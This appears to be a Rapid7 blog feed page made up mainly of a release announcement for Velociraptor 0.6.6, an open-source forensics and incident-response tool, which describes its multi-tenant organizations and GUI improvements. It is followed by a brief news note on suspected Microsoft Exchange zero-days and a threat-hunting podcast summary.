Post Syndicated from Carlos Canto original https://blog.rapid7.com/2022/10/04/velociraptor-version-0-6-6-multi-tenant-mode-and-more-let-you-dig-deeper-at-scale-like-never-before/

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before

Rapid7 is excited to announce the release of version 0.6.6 of Velociraptor –  an advanced, open-source digital forensics and incident response (DFIR) tool that enhances visibility into your organization’s endpoints. After several months of development and testing, we are excited to share its powerful new features and improvements.

Multi-tenant mode

The largest improvement in the 0.6.6 release by far is the introduction of organizational division within Velociraptor. Velociraptor is now a fully multi-tenanted application. Each organization is like a completely different Velociraptor installation, with unique hunts, notebooks, and clients. That means:

  1. Organizations can be created and deleted easily with no overheads.
  2. Users can seamlessly switch between organizations using the graphic user interface (GUI).
  3. Operations like hunting and post processing can occur across organizations.

When looking at the latest Velociraptor GUI you might notice the organizations selector in the User Setting page.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
The latest User Settings page

This allows the user to switch between the different organizations they belong in.

Multi-tenanted example

Let’s go through a quick example of how to create a new organization and use this feature in practice.

Multi-tenancy is simply a layer of abstraction in the GUI separating Velociraptor objects (such as clients, hunts, notebooks, etc.) into different organizational units.

You do not need to do anything specific to prepare for a multi-tenant deployment. Every Velociraptor deployment can create a new organization at any time without affecting the current install base at all.

By default all Velociraptor installs (including upgraded ones) have a root organization which contains their current clients, hunts, notebooks, etc. (You can see this in the screenshot above.) If you choose to not use the multi-tenant feature, your Velociraptor install will continue working with the root organization without change.

Suppose a new customer is onboarded, but they do not have a large enough install base to warrant a new cloud deployment (with the associated infrastructure costs). We want to create a new organization for this customer in the current Velociraptor deployment.

Creating a new organization

To create a new organization, we simply run the Server.Orgs.NewOrg server artifact from the Server Artifacts screen.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Creating a new organization

All we need to do is give the organization a name.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
New organization is created with a new OrgId and an Admin User

Velociraptor uses the OrgId internally to refer to the organization, but the organization name is used in the GUI to select the different organizations. The new organization is created with the current user being the new administrator of this org.

Deploying clients to the new organization

Since all Velociraptor agents connect to the same server, there has to be a way for the server to identify which organization each client belongs in. This is determined by the unique nonce inside the client’s configuration file. Therefore, each organization has a unique client configuration that should be deployed to that organization.

We will list all the organizations on the server using the Server.Orgs.ListOrgs artifact. Note that we are checking the AlsoDownloadConfigFiles parameter to receive the relevant configuration files.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Listing all the organizations on the server

The artifact also uploads the configuration files.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Viewing the organization’s configuration files

Now, we go through the usual deployment process with these configuration files and prepare MSI, RPM, or Deb packages as normal.

Switching between organizations

We can now switch between organizations using the organization selector.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Switching between orgs

Now the interface is inside the new organization.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Viewing an organization

Note the organization name is shown in the user tile, and client IDs have the org ID appended to them to remind us that the client exists within the org.

The new organization is functionally equivalent to a brand-new deployed server! It has a clean data store with new hunts, clients, notebooks, etc. Any server artifacts will run on this organization only, and server monitoring queries will also only apply to this organization.

Adding other users to the new organization

By default, the user which created the organization is given the administrator role within that organization. Users can be assigned arbitrary roles within the organization – so, for example, a user may be an administrator in one organization but a reader in another organization.

You can add new users or change the user’s roles using the Server.Utils.AddUser artifact. When using basic authentication, this artifact will create a user with a random password. The password will then be stored in the server’s metadata, where it can be shared with the user. We normally recommend Velociraptor to be used with single sign-on (SSO), such as OAuth2 or SAML, and not to use passwords to manage access.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Adding a new user into the org

View the user’s password in the server metadata screen. (You can remove this entry when done with it or ask the user to change their password.)

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
View the new user password in the server metadata screen

You can view all users in all orgs by collecting the Server.Utils.ListUsers artifact within the root org context.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Viewing all the users on the system

Although Velociraptor respects the assigned roles of users within an organization, at this stage this should not be considered an adequate security control. This is because there are obvious escalation paths between roles on the same server. For example, currently an administrator role by design has the ability to write arbitrary files on the server and run arbitrary commands (primarily this functionality allows for post processing flows with external tools).

This is currently also the case in different organizations, so an organization administrator can easily add themselves to another organization (or indeed to the root organization) or change their own role.

Velociraptor is not designed to contain untrusted users to their own organization unit at this stage – instead, it gives administrators flexibility and power.

GUI improvements

The 0.6.6 release introduces a number of other GUI improvements.

Updating user’s passwords

Usually Velociraptor is deployed in production using SSO such as Google’s OAuth2, and in this case, users manage their passwords using the provider’s own infrastructure.

However, it is sometimes convenient to deploy Velociraptor in Basic authentication mode (for example, for on-premises or air-gapped deployment). Velociraptor now lets users change their own passwords within the GUI.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Users may update their passwords in the GUI

Allow notebook GUI to set notebooks to public

Previously, notebooks could be shared with specific other users, but this proved unwieldy for larger installs with many users. In this release, Velociraptor offers a notebook to be public – this means the notebook will be shared with all users within the org.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Sharing a notebook with all users

More improvements to the process tracker

The experimental process tracker is described in more details here, but you can already begin using it by enabling the Windows.Events.TrackProcessesBasic client event artifact and using artifacts just as Generic.System.Pstree, Windows.System.Pslist, and many others.

Context menu

A new context menu is now available to allow sending any table cell data to an external service.

Velociraptor Version 0.6.6: Multi-Tenant Mode and More Let You Dig Deeper at Scale Like Never Before
Sending a cell content to an external service

This allows for quick lookups using VirusTotal or a quick CyberChef analysis. You can also add your own send to items in the configuration files.

Conclusion

If you’re interested in the new features, take Velociraptor for a spin by downloading it from our release page. It’s available for free on GitHub under an open-source license.

As always, please file bugs on the GitHub issue tracker or submit questions to our mailing list by emailing [email protected] You can also chat with us directly on our Discord server.

Learn more about Velociraptor by visiting any of our web and social media channels below:

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Additional reading:

Suspected Post-Authentication Zero-Day Vulnerabilities in Microsoft Exchange Server

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2022/09/29/suspected-post-authentication-zero-day-vulnerabilities-in-microsoft-exchange-server/

Suspected Post-Authentication Zero-Day Vulnerabilities in Microsoft Exchange Server

On Thursday, September 29, a Vietnamese security firm called GTSC published information and IOCs on what they claim is a pair of unpatched Microsoft Exchange Server vulnerabilities being used in attacks on their customers’ environments dating back to early August 2022. The impact of exploitation is said to be remote code execution. From the information released, both vulnerabilities appear to be post-authentication flaws. According to GTSC, the vulnerabilities are being exploited to drop webshells on victim systems and establish footholds for post-exploitation behavior.

There has been no formal communication from Microsoft confirming or denying the existence of the flaws as of 4:30 PM EDT on Thursday, September 29. Our own teams have not validated the vulnerabilities directly.

Notably, it appears that both vulnerabilities have been reported to (and accepted by) Trend Micro’s Zero Day Initiative (ZDI) for disclosure coordination and are listed on ZDI’s site as “Upcoming Advisories.” This lends credibility to the claim, as does the specificity of the indicators shared in the firm’s blog. You can view the two reported vulnerabilities on this page by searching ZDI’s advisories for ZDI-CAN-18802 and ZDI-CAN-18333.

We are monitoring for additional detail and official communications and will update this blog with further information as it becomes available.

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[The Lost Bots] S02E04: Cyber’s Most Dangerous Game — Threat Hunting

Post Syndicated from Rapid7 original https://blog.rapid7.com/2022/09/29/the-lost-bots-s02e04-cybers-most-dangerous-game-threat-hunting/

[The Lost Bots] S02E04: Cyber's Most Dangerous Game — Threat Hunting

Welcome back to The Lost Bots! In this episode, we dive into one of our favorite topics: threat hunting. It’s a subject we’ve talked about before, but this time, we’re focusing on the practical side of getting your threat hunting efforts up and running.

Our hosts Stephen Davis, Lead D&R Sales Technical Advisor, and Jeffrey Gardner, Detection and Response Practice Advisor, give us the basics of what a threat hunting hypothesis is and what makes a good one. They talk about the importance of ensuring your hypothesis is both observable and testable. They also cover the differences between intelligence-driven, situational, and domain expertise hypotheses, and explain how to actually put these concepts into action when engaging in cyber threat hunting.

Check back with us on Thursday, October 26, for our next installment of The Lost Bots!

Additional reading:

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